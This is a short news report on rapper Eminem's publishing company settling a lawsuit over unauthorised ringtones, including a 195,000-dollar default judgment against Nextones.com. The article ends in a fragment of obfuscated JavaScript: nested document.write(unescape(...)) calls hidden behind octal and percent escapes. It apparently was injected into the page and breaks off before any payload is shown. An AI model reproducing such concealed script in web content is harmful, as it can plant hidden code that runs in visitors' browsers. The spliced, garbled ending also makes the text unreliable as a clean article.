Rapper Eminem has settled a lawsuit over the illegal use of his Grammy award-winning songs in ringtones, court records showed.
Eminem's publishing company filed the suit against Colorado-based Cellus and five other companies last October.
The case involved "the blatant and unauthorized use" of Eminem's songs and music for ring tones, which "has become extremely popular and has spawned an entire industry," the complaint said.
Lawyers for both Eminem and the main defendant did not immediately return calls for comment Tuesday. Court documents said the lawsuit was dismissed June 1.
Howard Hertz, a Bloomfield Hills lawyer for Eminem and his publishing companies, told the Detroit News Tuesday that illegal Eminem ring tones are generating hundreds of thousands of dollars a year.
He would not disclose the terms of the settlement, saying only: "We reached an amicable agreement."
Distributors who sell Eminem songs to karaoke bars without obtaining proper licenses can expect similar suits in the next few months, Hertz added.
Another company, Nextones.com, did not respond to the lawsuit and was ordered to pay 195,000 dollars in damages on May 16, court documents showed.document.write(unescape("\074\123CR\111PT%3E\144oc%75\155%65n\04574.w%72\151te\050un\145\163ca\160e(%22